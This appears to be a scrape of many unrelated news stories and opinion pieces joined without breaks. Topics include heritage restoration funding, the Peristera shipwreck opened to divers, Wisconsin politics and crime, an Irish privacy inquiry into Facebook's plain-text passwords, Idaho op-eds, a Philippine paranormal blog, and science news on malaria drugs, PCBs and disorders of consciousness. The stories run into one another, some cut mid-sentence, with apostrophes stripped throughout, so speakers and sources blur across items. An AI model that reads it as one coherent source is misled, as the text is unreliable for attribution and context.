reacting to building disasters. Reparation or restoration should be seen as the failure in conservation, he said. We would be spending money in maintenance but we will be minimizing potential future damages. Navracsics echoed that thought. We should never forget that theres also a cost to non-action, a lack of maintenance or a lack of prevention, he said. The problem is that prevention is practically invisible but grand restorations can be a boon for the politicians cutting the ribbons. The fire at Notre Dame had barely been doused when two of Frances richest men, rival billionaires, stepped up with flashy, competing donations of hundreds of millions of euros to rebuild the Paris cathedral. Notre Dame donations now stand at over 1 billion euros (USD1.12 billion) or about three years of Frances national restoration budget. This massive outpouring of donations grates on those who have begged for years for a few thousand euros to restore a local but valuable monument. You have seen that, now, the money is not the problem, said Quaedvlieg-Mihailovicis. There is a lesson. Could we not invest smaller amounts, and not just for the biggest and the most iconic monuments? The EU itself has allotted 4.7 billion euros (USD5.28 billion) for restorations in the 2014-2020 financial budget on top of what individual nations do. As state funding dries up, governments are increasingly looking for private donors to renovate major monuments. In Italy in recent years, Tods luxury shoes sponsored the Colosseum face-lift, while the Fendi fashion house helped the Trevi Fountain in Rome and Diesel backed improvements for the Rialto bridge in Venice. We do need to invest more, but this is a shared responsibility for governments, businesses and citizens across Europe, said Navracsics. Nations will reap the benefits of such spending for years to come. Tourism in Britain and France alone amounts to about 7% of their Gross Domestic Product, good for around 150 billion euros and 170 billion euros (around $170 billion and $190 billion) a year. Some say world-renowned monuments like Notre Dame are the driving force behind such tourism and deserve more respect. Cultural heritage is a gold mine. You cannot exploit it and then just leave the mine and go to another one. It is something you really have to cherish, said Quaedvlieg-Mihailovicis. Raf Casert, AP Near the northern Greek island of Alonissos lies a remarkable ancient shipwreck: the remains of a massive cargo ship that changed archaeologists understanding of shipbuilding in antiquity. Now this spectacular find is to become the first ancient shipwreck to be made accessible to the public in Greece, including to recreational divers. Greeces rich underwater heritage has long been hidden from view, off-limits to all but a select few, mainly archaeologists. Scuba diving was banned throughout the country except in a few specific locations until 2005, for fear that divers might loot the countless antiquities that still lie scattered on the countrys seabed. Ancient shipwrecks and even many more recent ones are still off-limits. Now that seems to be gradually changing, with a new project to create underwater museums. Divers will be able to tour certain shipwrecks and non-divers will experience the sites through virtual reality in information centers on land. The first of these sites is the Peristera shipwreck, named for the uninhabited Greek island opposite Alonissos where it was discovered in the early 1990s. The cargo ship was laden with thousands of amphoras, or vases, probably containing wine, when it sank in the late 5th century B.C. All that survives is the cargo, the exposed parts of the wooden ship having long since rotted away. But the sight is spectacular. Thousands of ancient vases, the vast majority intact, lie in layers. Fish, sponges and other sea creatures have made the amphoras their home, adding color and life to the site. In some places, the cargo towers above divers as they pass along the perimeter of the wreck. It is very impressive. Even I, who have been working for years in underwater archaeology, the first time I dived on this wreck I was truly impressed, said Dimitris Kourkoumelis, the lead archaeologist on the project preparing the site for visitors. Its different to see amphoras [] individually in a museum and different to see them in such concentration. The wreck still holds mysteries. Only a small part has been excavated, and experts have yet to determine how or why it sank, or what other treasures it might have carried beneath the estimated 4,000 amphoras in its hold. There are indications a fire had broken out on board, but its unclear whether that contributed to its sinking. Was it a piracy act? Was it overloaded? said Elpida Hadjidaki, the first archaeologist to excavate the site. These questions remain unanswered. The Peristera wreck is the largest ship of its time to have been found and its discovery was of major significance to historians. Up to then, we thought that large ships that were carrying 1,500 amphoras and were up to 70 tons, they were built by the Romans in the 1st century B.C., Hadjidaki explained. Well, now we have a ship that was not built in the 1st century B.C., it was built in the 5th century B.C., it carried 4,000 amphoras and God knows what else and its 126 tons. Hadjidaki said she is thrilled the wreck is being opened to visitors. Its fantastic. Twenty-five years ago, I was the first person that proposed that and people were jumping at me, they thought I was crazy, she said. Why should we keep it to ourselves? We have to give knowledge to people. The first test for guided tours of the wreck, which lies at a depth of about 22-28 meters (72-92 feet), was carried out last weekend with small groups of recreational and professional divers. A thorough briefing, complete with historical information and the rules of the dive, preceded the short boat ride from the tiny harbor of Steni Valla on Alonissos to the site. On the wreck itself, explanatory signs have been suspended along the perimeter. The initial feedback has been positive. It was an amazing opportunity [] to dive at last on an ancient wreck, said Kostas Menemenoglou, a 39-year-old recreational diver from the central town of Volos. It was a fantastic experience. Its really like diving into history. Three other shipwrecks in the Pagasitic Gulf in central Greece are also included in the project, which is part of a European Commission-funded BlueMed program, which plans to expand the project to Italy and Croatia. More test dives will be held this summer and next year, with hopes of fully opening the sites to recreational diving in early 2021. Accessible archaeological sites are one of the most interesting projects not just a Greek project but a worldwide project, said Kourkoumelis, who noted it has taken a long time to get to the point of allowing visitors to access an ancient wreck. It took years. And thats logical, because underwater ancient sites and particularly ancient shipwrecks are exposed [] and fragile, he said, noting it was crucial to properly set up the project and the dive conditions, making sure the sites are protected before they can be opened to the public. All the conditions must be ensured so that these sites remain safe in the future and for future generations, he added. Elena Becatoros, Steni Valla, AP They couldn't be called special sessions that was solely the governor's power. So, "extraordinary." Why not? Not to doubt, this was a move to bring some parity with the governor and exercise the right of the Legislature to govern itself. The first extraordinary session in 1980 focused on crime, and the state's crime victims' rights bill was passed. But most early extraordinary sessions 1981, 1988 and 1990 dealt with ratifying and funding collective bargaining agreements with state employees. There would be no way to anticipate when these collective bargaining agreements would be reached, but they had to be passed as bills. Most importantly, the early extraordinary sessions were convened to vote on vetoes by the governor. The governor decides when to veto, and the Legislature decides when to vote on veto overrides especially on budget vetoes. It can't be allowed that a governor times a veto when there is no floor period scheduled, thus thwarting the Legislature's power under the Constitution to consider an override. So in 1980, 1987 and 1988, there were extraordinary sessions to consider vetoes. Dear Editor: Assembly Speaker Robin Vos attacked Gov. Tony Evers as naive for thinking he could make changes to Wisconsins deal with Foxconn. Talk about the pot calling the kettle black." The Republicans have promised Foxconn $4 billion and have received in return a guarantee of nothing. Foxconn gave a vague commitment to build some sort of a plant, and that workers would be hired, but no guarantee that any of those workers had to be from Wisconsin. Foxconns theme song could be a line from a Steve Miller song, Take the Money and Run." In 2013 they took money from Pennsylvania and promised a flat panel display plant and all Pennsylvania got was an empty office in Harrisburg. Vietnam negotiated a deal with Foxconn in 2007 and Brazil did the same in 2011. Collectively Foxconn has received $12 billion from those countries, and in return Foxconn has built nothing. The ink was not even dry on Wisconsins deal with Foxconn before they began backpedaling on what kind of plant would be built in Wisconsin. The Republicans are now trying to blame the collapse of the Foxconn deal on Evers, but they negotiated the deal, and had they studied Foxconns history they should have known Foxconn would not hold up their end of the deal. David Tran/iStock(NEW YORK) -- European regulators on Thursday said they are investigating whether Facebook violated the European Union's privacy laws, which are much stricter than those in the U.S. "The Data Protection Commission was notified by Facebook that it had discovered that hundreds of millions of user passwords, relating to users of Facebook, Facebook Lite and Instagram, were stored by Facebook in plain text format in its internal servers," Ireland's Data Protection Commission (DPC) said in a statement. "We have this week commenced a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions of the [General Data Protection Regulation]." It is at least the 11th probe by European regulators into Facebook's violations of the EU's General Data Protection Regulation 2016/679 (GDPR), which was implemented nearly one year ago. The news comes one day after the company revealed in its earnings report that it set aside $3 billion to $5 billion to pay an expected fine from the U.S. Federal Trade Commission over privacy violations. No public statement or settlement has yet been announced by the FTC and it is an unusual move for a company to pre-emptively assume what it would be fined by regulators. Because Facebook and other tech giants have their international headquarters in Ireland, the Irish DPC is the company's lead privacy regulator for Europe. In March, the company announced that it stored hundreds of millions of user passwords in plain text -- able to be read by employees -- on internal servers. Then on April 18, the company quietly updated its initial blog post, announcing that the number of users who had their passwords stored in plain text without encryption was much higher than previously reported, affecting millions more Instagram users. The picture-sharing service is owned by Facebook. Facebook did not immediately respond to a request for comment on the probe. Separately, on Thursday, Canadian regulators announced that they had found "major shortcomings" in Facebook's privacy practices after investigating the Cambridge Analytica story, and said they would take the tech giant to court to try to force the company to change its privacy practices. Cambridge Analytica, a political data firm hired by President Trumps 2016 election campaign, gained access to the personal data of millions of Facebook users. Regulators estimate that more than half a million Canadians may have been affected. "Facebook committed serious contraventions of Canadian privacy laws and failed to take responsibility for protecting the personal information of Canadians, an investigation has found," a statement from the Office of the Privacy Commissioner of Canada said. Facebooks refusal to act responsibly is deeply troubling given the vast amount of sensitive personal information users have entrusted to this company, Privacy Commissioner Daniel Therrien said in the statement. Their privacy framework was empty, and their vague terms were so elastic that they were not meaningful for privacy protection." The Canadian watchdog said that it had investigated Facebook for the "overly broad" permissions it had gotten from users to share their personal information with third-party apps, and for not protecting users properly. If Facebook had implemented recommendations from a 2009 investigation by the Privacy Commissioner's Office, "the risk of unauthorized access and use of Canadians' personal information by third party apps could have been avoided or significantly mitigated," the statement continued. Canadian authorities began their investigation last year in the wake of the Cambridge Analytica scandal, in which a political firm improperly accessed the personal information of 87 million users without their knowledge. Facebook Canada spokeswoman Erin Taylor said the company was disappointed Therrien considers the issues unresolved. Theres no evidence that Canadians data was shared with Cambridge Analytica, and weve made dramatic improvements to our platform to protect peoples personal information, Taylor said. We understand our responsibility to protect peoples personal information, which is why weve proactively taken important steps toward tackling a number of issues raised in the report. Copyright 2019, ABC Radio. All rights reserved. Chandan Kumar Mandal is the environment and migration reporter for The Kathmandu Post, covering labour migration and governance, as well as climate change, natural disasters, and wildlife. Investigators learned from informants that Slayton was involved in distributing marijuana for several years, the criminal complaint states. According to an informant, Slayton had a marijuana supplier in Oregon who would ship the drugs to a man in Eau Claire, who would in turn transport the supply to a residence in Dallas, in Barron County. Slayton would then divide up the supply at the Dallas residence. A Minnesota State Trooper arrested a woman in December 2018 after conducting a traffic stop near Sauk Center, Minn. A suitcase with 20 pounds of marijuana was found. When she was interviewed, the woman said she was originally from Oregon and was going to meet someone in Wisconsin. She was instructed to call the contact for the exchange, who turned out to be Slayton. Slayton is charged with marijuana possession with intent to deliver greater than 1,000-2,500 grams and felony bail jumping. He was convicted in 2014 of felony-level possession of marijuana with the intent to deliver. Chippewa County Sheriff Jim Kowalczyk praised the law enforcement agencies for working together on making the arrests. Imbed Biosciences says its wound-healing product is being used at five hospitals and more than 20 veterinary clinics, and a new investment will let the young Fitchburg company expand sales nationwide. Imbeds MicroLyte Ag Matrix is a patented, ultra-thin film coated with silver nanoparticles that stick to the surface of a wound. More than 1,000 patients with chronic wounds including those from surgery, burns, trauma wounds and diabetic ulcers have been treated with the film in the past year, CEO and co-founder Ankit Agarwal said. It kills the bacteria that was hidden in deep wound tissue ... and allows the body to regain its normal healing powers, Agarwal said. A clinical trial at Mission Healths hospital in Asheville, North Carolina, showed that of 32 patients whose wounds had not healed in more than six months, more than 90% had some healing with Microlyte Ag after 12 weeks. On average, 75% of their wounds were closed. In addition to Mission Health, Rush University Medical Center in Chicago, Baptist Health System in Alabama and HCA Healthcare in Nashville are using MicroLyte, and UW Hospital in Madison is testing it. A Gays Mills man has been sentenced to more than a decade in federal prison for child pornography. In 2015, Ricky T. Olson used a false identity to contact a child on Snapchat and solicited images and videos of the child engaged in sexual activity, according to court records. Olson admitted that he also sent the images to another user and sent the child explicit pictures of himself. Olson was indicted on five felony counts and pleaded guilty in 2018 to one count of receiving child pornography. On Thursday U.S. District Judge William Conley sentenced Olson, 60, to 13 years in prison. According to the U.S. District Attorney for Western Wisconsin, the judge noted Olsons lengthy and extensive criminal history and the fact that he redistributed the images. Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A 12-year-old girl suspended from school returned to beat up a fellow student then refused to leave, injuring two officers before she was arrested, Madison police said. The incident happened Wednesday morning at Jefferson Middle School, 101 S. Gammon Road. The girl was taken to the juvenile reception center on tentative charges of substantial battery to a law enforcement officer, battery to a law enforcement officer, disorderly conduct, trespass and resisting/obstructing. "School staff had called for police after the student, who was suspended, came to school and battered one classmate and threatened another with a fire extinguisher," said police spokesman Joel DeSpain. The girl was being loud and threatening others with violence, so when staff couldn't get her to calm down and she refused to leave, police were called, he said. "Officers, school staff and a family member spent a good deal of time trying to de-escalate the situation and calm her down, and provide options for leaving," DeSpain said. The operator of the restaurant, Bell Great Lakes, filed a lawsuit in Dane County Circuit Court in April 2018 alleging the citys rejection of the license was arbitrary and capricious. On Dec. 21, 2018, the court ruled in the companys favor and ordered the city to issue the license. On Jan. 25, the city filed a notice of appeal with the Wisconsin Court of Appeals. The litigation is pending. But a resolution by Mayor Satya Rhodes-Conway and two council members to be introduced Tuesday says the parties now wish to resolve the dispute. The city avoids the risk of a negative, statewide precedential ruling by the Court of Appeals that limits our discretion in issuing liquor licenses, City Attorney Michael May said. It also gives us the opportunity to seek to vacate the negative Circuit Court ruling which, while not of precedential value, is a ruling we would prefer to see off the books. Darling said shes not interested in taking up that issue in the budget, although she said the issue should be taken up at some point. Nygren, however, said the governors proposal is still on the table. That will be something that well have to arm wrestle on, Nygren said, adding that a 71% tax may be too high. He said hed be interested in exploring a tax structure for such products based on the amount of nicotine they contain. Foxconn update A day after Evers in a public letter suggested electronics maker Foxconn first suggested revisiting its $3 billion state incentive deal to reflect the companys evolving project in Wisconsin, Alan Yeung, the companys director for U.S. strategic initiatives, took to social media to suggest no one knows whether the company will fulfill its commitment to create 13,000 jobs in Wisconsin by 2032. Calm down, Yeung wrote. Probably fake news. Who has the crystal ball to predict if 13,000 jobs will be created by the year 2032? Esp in April 19. Over 100 Sindhuli youths duped by two men on pretext of jobs More than 100 youths in Sindhuli district have filed a police complaint saying that they were duped by two men on the pretext of offering them jobs. UW-Oshkosh held a public meeting Friday to respond to racist images that officials say may have involved students on campus. An image posted Thursday on Twitter showed several people at a party at an off-campus house in front of a banner with a hand-drawn swastika. Another depicted a dry-erase message board with the words No Liberals, Jews, Muslims, Queers, or Hmongs. To anyone who brings hate into the University of Wisconsin-Oshkosh community, I invite you to leave, Chancellor Andrew Leavitt wrote in a campuswide email that was also posted to the universitys social media pages Friday. Leavitt said school officials began investigating Thursday night after university allies notified them of the images, which he said appear to involve UW-Oshkosh students. We take it seriously, he wrote. I am angry, and I am sorry for the pain these images cause. They are examples of hate and bias that defy everything we stand for as a university and inclusive community. We do not and will not tolerate it. The world will hear and see our voices and our values in action, Leavitt wrote. I listen to several different Wisconsin Public Radio stations regularly, but I have reached the end of my patience with National Public Radio's comedy quiz show "Wait Wait ... Don't Tell Me!" I do not find a regular attack on my values and beliefs amusing. "Wait Wait ... Don't Tell Me!" was once more fun with less commentary. I expect occasional slanted remarks as the price of listening, but this show has jumped the shark and come ashore permanently in lefty land. If I want a point of view on the news, I go to commercial outlets with clear points of view. Public radio, though, receives funding from the federal government. What bothers me is that my money is supporting programs that are aggressive toward one point of view and supportive of another. I do not hear conservative commentators or programming. I listen to seven WPR programs frequently. I used to intentionally listen to "Wait Wait ... Don't Tell Me!" I have added it to the list of programs I will intentionally not listen to. I am tired of having my ears slapped for what I have in my mind and my heart. John Seidl, McFarland An Idaho man accused in the September killing of a man has been charged with the additional crime of cannibalism and authorities in court documents said the suspect believed he could "cure his brain" by eating some of the victim. KIMBERLY Cities across the valley are celebrating Arbor Day on Friday and later in other towns to promote the planting of trees for the health of people, wildlife and the environment. While the day is officially celebrated on the fourth Sunday in April in the U.S., most cities tend to hold ceremonies during the prior week. The date of the holiday varies from country to country, depending on the best time to plant trees. In Burley, fourth-graders will plant trees Friday at Mountain View Elementary School and Twin Falls city officials and employees of Cactus Petes will plant trees in Sunrise Park. Filer and Kimberly celebrated early this year. Its good to give back to the environment, Kimberly Police Chief Jeff Perry said Thursday at the citys ceremony. We take so much from it, we need to put some back. Stricker Elementary School fifth-graders sat on the lawn of South Park in Kimberly as Rock Creek Firefighter Brent Black read the Arbor Day Proclamation, explaining the origins of the global holiday. Arbor Day started in 1872 in Nebraska when 1 million trees were planted, Black said. Public works director Kevan Hafer started the citys Arbor Day program 16 years ago, as part of Kimberlys Tree City U.S.A. designation, said city employee John Balling. The city has since planted some 50 trees in its parks. The Tree City U.S.A. program has promoted cities to plant trees since 1976. Kimberlys annual celebration is a collaboration between the city, the school district, U.S. Bureau of Land Management, Kimberly Police Department, Rock Creek Rural Fire District, First Federal and other local businesses. Cashlin Volkel, a student in Heather Reeds fifth-grade class, took the blue ribbon and a $50 prize from First Federal in the Arbor Day poster contest, themed Trees are terrific in all shapes and sizes. Take care of the trees. We need them to survive, Cashlin wrote on her winning poster, which featured a deer in a forest. The kiddos will remember outings such as this well into adulthood, Reed said. She remembers Arbor Day in her home state of Minnesota. We would always get tiny pine trees to plant at home, she said. She and her husband have planted many trees at their home since moving to Kimberly several years ago. Trees are not just for shade, Reed said. Remember: Its never too late to plant a tree. Love 4 Funny 0 Wow 0 Sad 0 Angry 0 The first day of May is Law Day, which was first designated by President Dwight Eisenhower in 1958 to celebrate our remarkable legal system. The rule of law is the bedrock of our society. The law protects us, our freedoms and our property against arbitrary government action. The United States grew into an economic powerhouse because foreign governments and businesses recognized and trusted our dedication to following our laws, including our treaty obligations. The honest system of laws set up by the Founding Fathers has made our country the moral beacon of the planet. One of the most admired features of our legal landscape is that even the most powerful individuals are subject to the law. As President John Adams so aptly stated, We are a nation of laws, not of men. Or, as President Teddy Roosevelt put it, No man is above the law, and no man is below it. Unfortunately, many of the actions of our current President have tarnished Americas reputation for lawfulness, both at home and abroad. He seems to feel unconstrained by laws that the rest of us must follow. The most glaring examples are the efforts of the President to obstruct the Mueller investigation, including his order that White House counsel Don McGahn fire Special Counsel Mueller, then that McGahn commit the felony offense of lying to Mueller about it, then trying to cover up the whole thing. But for a questionable DOJ opinion that a sitting President cannot be held accountable for criminal misconduct, Trump would likely be facing criminal charges. This is all a violation of the U.S. Constitutions mandate that the President shall take care that the laws be faithfully executed. But, this is just part of a pattern of ignoring the laws of our great country. During his first two years in office, the President has lost over 90% of the court challenges to his administrations policieseverything from Medicaid expansion, to teen pregnancy prevention, to amnesty policy, to rollback of environmental regulations. Of 63 court losses in that period, two-thirds were for failure to comply with the 73-year-old Administrative Procedures Act, which bars arbitrary government action. The President has repeatedly violated our treaty obligations by making false claims that tariffs against the products of close allies, such as Canada, are justified by national security concerns. It is somewhat doubtful that Canada will launch an attack against the U.S. in the near future, unless we keep treating it and our other valued allies as enemies. The President has sicced government agencies on persons and companies that he regards as enemies. He tried to override postal regulations by demanding that the U.S. Postal Service increase rates for Amazon, because he perceived that the Washington Post, owned by the founder of Amazon, was being unfair to him. That smacks of authoritarian action. Trump wanted the Justice Department to block AT&Ts merger with Times Warner because he was torqued off at CNN, an AT&T asset. The administration lost the suit. This certainly appears to have been an abuse of government power. Law Day is a time to reflect upon the economic strength and moral authority this great country has derived from its reliance on the rule of law. We have been that shining city upon a hill President Ronald Reagan often spoke about because of our exceptional legal system. Instead of abusing that system and disparaging its judges, we should respect and celebrate it. That job starts at the very top position in our government. If we recognize the great benefits the rule of law has bestowed upon us as a people, it will remain the protector of our society and the envy of the world. Jim Jones is an Eden native and former Idaho Attorney General and former Idaho Supreme Court Chief Justice. Love 2 Funny 0 Wow 0 Sad 0 Angry 1 One question thats been lost in the commotion over Thursdays release of special counsel Robert Muellers report is: Why did Russia feel it was necessary to meddle in the American election and help put Donald Trump in the presidency? The answers to that question should be just as troubling to all Americans as the details behind the Trump campaigns efforts to encourage Russias success. U.S. investigators say 2014 was when Russia launched a concerted effort to meddle with U.S. elections and disrupt politics through a well-targeted social media campaign. Everything Russia did appears to have been rooted in an effort to disrupt Western unity and minimize the international sanctions championed by President Barack Obama and his former secretary of state, Hillary Clinton. In 2014, most of the developed world turned against Moscow over its blatant and deadly usurpation of Ukrainian sovereignty, primarily through a ragtag separatist militia in eastern Ukraine. In February 2014, masked Russian troops seized Ukraines strategic Crimean Peninsula. Weeks later, the Russia-installed leadership of Crimea declared independence and arranged a rigged vote that allowed Russia to annex the peninsula. Then, Russia supplied surface-to-air missiles that, with Russian expert assistance, were used from Ukrainian militia positions to shoot down a Malaysia Airlines jumbo jet in July 2014, killing all 298 aboard. Russia then obstructed the investigation into the cause of the crash. The result of those actions was a series of crushing and well-deserved sanctions that largely crippled Russias ability to conduct legal commerce with the West. Obama issued four executive orders in 2014, while the Treasury and Commerce Department issued eight additional sanctions targeting specific Russian industries and individuals. European Union sanctions quickly followed. Russian President Vladimir Putins sole goal ahead of the 2016 U.S. presidential race was to make it as hard as possible for Clinton to win. Trump, with a reputation for being dismissive of foreign affairs and easy to manipulate, emerged as Putins favored candidate. What Putin got was better than he could have hoped for. Trump did Putins bidding in advocating for Britain to leave the European Union. He savaged the NATO alliance and publicly criticized its leaders. Most importantly, Trump called for ending sanctions against Russia. When U.S. intelligence agencies charged that Russia had meddled in the 2016 election, Trump publicly defended Russia over those agencies. The sanctions remain in place today, but only because Republicans have refused to let the administration relax them. NATO is in disarray, Britain is politically paralyzed. European unity is in crisis. And Americans are more deeply divided than ever. Putin has emerged, unquestionably, as the victor. If Americans have any hope of protecting and preserving their democracy, they must never forget this backdrop and why the Mueller report was an essential step in bolstering the nations defenses ahead of 2020. Love 1 Funny 1 Wow 0 Sad 0 Angry 0 Introducing The Main Index There are now over 43,000 individual posts here on A Light In The Darkness. They have all been individually added into Main Index categories. To get the full experience out of A Light In The Darkness and its very extensive library of items, covering virtually all things paranormal, supernatural etc ... we recommend that you flick down the Main Index, which runs down the right hand side of the blog page ... to find the indexed category in which the subject matter you seek is located. Alternatively, why not use long search bar you will find towards the top of the blog page ... ENJOY Strange lights could really leave people more than just a bit puzzled. What are they, where do they come from? Recently, I saw early in the evening to the east, one greenish bright light many, many times bigger than a shooting star and disappearing in seconds. But I figured that's just something they call fireball nowadays. Not unusual. But then there are many more mysterious lights in our even more mysterious island that could be seen when least expected. Red, white, orange lights bouncing in the air and they seem intelligent. Our rural folks associate them with buried treasures for a reason. In many places on this island there are many such stories, I even have my own, but theirs are often richer with details on how somebody downtrodden got rich all of a sudden. Others end up losing their mind. In the early years of Spanish colonization, even the Castilla could be heard talking about such a phenomenon in this island. Even this late, I've been told by a well-travelled German visitor about such an incredible experience that happened to him right here, made more baffling as it came with an apparently ghostly apparition. The Spanish knew about it That the Spaniards have written about such strange Marinduque lights is fact, would you believe? Historia de Filipinas del P. Delgado, Capitulo XXVI, Descripcion de la isla de Marinduque y otros menores, p. 89-90, narrates a cryptic story that in those days were witnessed by many in Sta. Cruz, Marinduque: narrates a cryptic story that in those days were witnessed by many in Sta. Cruz, Marinduque: "In the mountains near the town of Santa Cruz de Marinduque, the natives have often seen a stone that runs through one of the most precious of the orb, which is the carbuncle (a red precious stone), by the great natural light that diffuses in the darkness. They say those of that town, with whom I spoke passing through him, that usually see it in dark night and light those mountains as if it were a clear day. They believe that this stone is on their foreheads a great snake, very poisonous, accompanied by other minors attracted by its clarity. "Passing by that island I learned that a powerful neighbor had sent people on purpose in case they could with some planning take it and remove the stone, while alive; because if they kill it, it loses, they say, its splendor and brilliance. "At one end of the island of Manila, close to that of Santiago, they say that another light and similar snake is seen, which passes the sea and walks by the nearby islets, always picking up at that point, where it has its habitation; and it is so much light and clarity that diffuses at night, that sailors have called it the Galayo point of fire. By relation of an old minister of the town of Antipolo, I knew that in a mountain nearby, called Santa Rosa, there was another similar phenomenon. "They report having also seen it in the mountains and cliffs removed from the Visayas island, their natives, who call this genus of snakes galosan, because they walk from one hundred to one hundred, accompanying the one who carries the stone, attracted by its beauty and clarity." En los montes cercanos al pueblo de santa Cruz de Marinduque, cuentan los naturales haber visto muchas veces una piedra que corre por una de las mas preciosas del orbe... And it seems to me, judging by Facebook comments to a recent related story I posted, nothing much has really changed. After all those years such phenomena have not disappeared. Also read: Police record statement from Kirans family Police have recorded statements from the family members of 15-year-old Kiran Karki Dholi who died in custody of Birtamod Area Police Office in Jhapa on April 14. Credit: CDC The powerful medicines known as artemisinins have plenty of mileage in them in the global fight against malaria, and concern about partial resistance has been overstated. That's the message in a piece published today by scientists and doctors to coincide with World Malaria Day. Professor Sanjeev Krishna has collaborated with Chinese scientist and Nobel Laureate Tu Youyou, who originally discovered artemisinin in 1977, and other colleagues in the Perspective piece for New England Journal of Medicine. Artemisinin and its derivatives are known for their ability to swiftly reduce the number of parasites in the blood of patients with malaria, and have saved millions of lives worldwide. The WHO recommends artemisinin-based combination therapies, or ACTs, as the first and second line treatment for straightforward malaria as well as for chloroquine-resistant malaria. Partial 'artemisinin resistance' has been confirmed in some countries in the Greater Mekong Subregion, including countries such as Cambodia, Myanmar, Thailand and Vietnam. Concerns about artemisinin resistance were raised by researchers working in the area and necessitated a response from the WHO last year. In their article Professor Krishna and Tu Youyou point out that partial artemisinin resistance is a delay in the clearance of malaria parasites from the bloodstream following treatment with a combination therapy. Since the parasite resistance only affects one stage of the malaria parasite cycle in humans - the 'ring' stage such resistance can be overcome by using the correct dosing of artesunate, for example for 7-10 days, rather than three days. If this is used artemisinins will be effective even when early parasite clearance is delayed. The authors also note that treatment failures with ACTs can often be directly attributed to the partner drug and can be addressed by changing that partner drug. So for example, mefloquine plus artesunate can be switched to DHA with piperaquine if the former is failing. Finally, say the authors, a next generation antimalarial that compares favourably to artemisinins in potency, safety and risk of resistance is unlikely to emerge very soon. Professor Krishna said: "It remains entirely possible to rely on artemisinin and its partner drugs to eliminate malaria in the Greater Mekong Subregion. We see nothing to prevent simple adjustments to existing regimens, including intelligent use of combinations of drugs, from maximising the potential of our strongest weapon against malaria; and we believe it is urgent for these actions to be implemented before any new complications emerge." You can read the full Perspective, A Temporizing Solution to "Artemisinin Resistance", in the New England Journal of Medicine. Explore further Current malaria treatment fails in Cambodia due to drug-resistant parasites More information: Jigang Wang et al. A Temporizing Solution to "Artemisinin Resistance", New England Journal of Medicine (2019). Journal information: New England Journal of Medicine Jigang Wang et al. A Temporizing Solution to "Artemisinin Resistance",(2019). DOI: 10.1056/NEJMp1901233 PCB warning label affixed to a railroad signal power supply transformer dating from the 1930's at CP-SLOPE interlocking, west of Altoona, PA on the Norfolk Southern Pittsburgh Line. Credit: Sturmovik/Wikipedia High levels of polychlorinated biphenyls (PCBs) in the blood are associated with premature death. This is shown by a cross-disciplinary study, based on 1,000 randomly selected 70-year-olds in Uppsala, that is published in the JAMA Network Open journal today. The study is one in a series of studies from a cross-disciplinary collaboration, which has now lasted more than ten years, between Professors Lars Lind and Monica Lind at Uppsala University and environmental chemists at Orebro University. It shows health risks associated with PCBs, although these substances have long been banned. Polychlorinated biphenyls (PCBs) are a group of environmental pollutants that are subject to restrictions in many countries, and bans have reduced their concentrations in the environment. But since these substances decompose very slowly and are stored in fatty tissue, they remain present in animals and humans. In particular, PCBs with many chlorine atoms in the molecule persist in most Swedes' blood. In the study known as PIVUS (Prospective Investigation of the Vasculature in Uppsala Seniors), more than 1,000 randomly selected 70-year-olds in Uppsala were monitored over a long period. In the study relating to PCBs in blood, concentrations were measured in the subjects' blood in 2001-2004, and then again when they reached the age of 75. Follow-up of those who had died over a 10-year period showed that the individuals with the highest PCB levels with many chlorine atoms in the blood had 50% excess mortality, especially from cardiovascular disease, compared with the other groups. This corresponds to some seven extra deaths during the 10-year follow-up period. The results were independent from the risk factors that had previously been found to be connected with cardiovascular disease, such as high blood pressure, diabetes, smoking, obesity, high cholesterol, low educational attainment and cardiovascular disease at age 70. Previous studies have also shown an association between high PCB levels and atherosclerosis in humans and experimental animals alike. In the researchers' view this finding and the new data combined indicate that intake of PCBs in food should be reduced. "We humans get most PCBs in our bodies by ingesting them in food. These substances are fat-soluble and found mainly in fatty animal foods like fish, meat and dairy products. According to the Swedish National Food Agency, particularly high concentrations of PCBs are present in fatty fish like Baltic herring and wild-caught salmon from polluted areas, such as the Baltic Sea, the Gulf of Bothnia, and Lakes Vanern and Vattern," Monica Lind says. Explore further PCB increases harmful effects of smoking More information: Monica Lind, et al. An Associaltion of Exposure to Persistent Organic Pollutants With Mortality Risk. An Analysis of Data From the Prospective Investigation of Vasculature in Uppsala Seniors (PIVUS) Study. JAMA Network Open. 2019;2(4):e193070. Monica Lind, et al. An Associaltion of Exposure to Persistent Organic Pollutants With Mortality Risk. An Analysis of Data From the Prospective Investigation of Vasculature in Uppsala Seniors (PIVUS) Study.. 2019;2(4):e193070. DOI: 10.1001/jamanetworkopen.2019.3070 Endocrine-disrupting chemicals and risk of diabetes: an evidence-based review, link.springer.com/article/10.1007%2Fs00125-018-4621-3 Circulating Levels of Persistent Organic Pollutants (POPs) and Carotid Atherosclerosis in the Elderly, www.ncbi.nlm.nih.gov/pmc/articles/PMC3261941/ Journal information: JAMA Network Open The case of a woman from the United Arab Emirates who regained consciousness after a 27-year coma-like state provoked by a brain injury has startled the world. But it's not quite right to say that she simply "woke up", experts told AFP. What happened? Munira Omar was 32 when, in 1991, she was injured in a traffic accident after picking up her son Omar from school in the city of Al-Ain. She lost consciousness and didn't regain it until May 2018. Her son Omarwho is today 32was in the car but did not suffer serious injuries. "I always believed that my mother would get better," he told AFP by phone. Can we say she 'woke up'? Not if by that one means "the patient suddenly wakes up, as after a long sleep, as everyone does in the morning," the German doctor who treated her, Friedemann Muller, told the magazine Der Spiegel. Strictly speaking, the woman was not in a coma, but rather a state of "minimal consciousness." Even before she became more fully alert, she "was able to look at something for a short amount of time," said Muller, chief physician at the Schon Clinic in Bad Aibling, Germany. "She reacted especially strongly to her son's face." Omar suffered from "disorder of consciousness", an umbrella term for three distinct conditions: a full-on coma, in which the patient is neither awake nor responsive; a vegetative state characterised by "non-responsive wakefulness"; and finally a state of "minimal consciousness". The last applies to people who have "pulled out of a vegetative state and potentially regained some measure of conscious perception," Benjamin Rohaut, a neurologist at Pitie Salpetriere Hospital's Brain and Spinal Cord Institute in Paris, told AFP. Concretely, people with minimal consciousness can follow someone's movement with their eye, or show signs of trying to withdraw an arm when pinched in a pain-response test. "Technically the patient wasas per the doctor's descriptionalready awake," explained Martin Monti, an associate professor in the Department of Neurosurgery at the University of California, Los Angeles. "However, she certainly seems to have emerged from a disorder of consciousness." She did so very gradually, noted Mueller. Eventually "she was able to pronounce her son's name, greet us, and quote some verses from the Koran." Does this happen often? "These cases are very rare, which is why they make 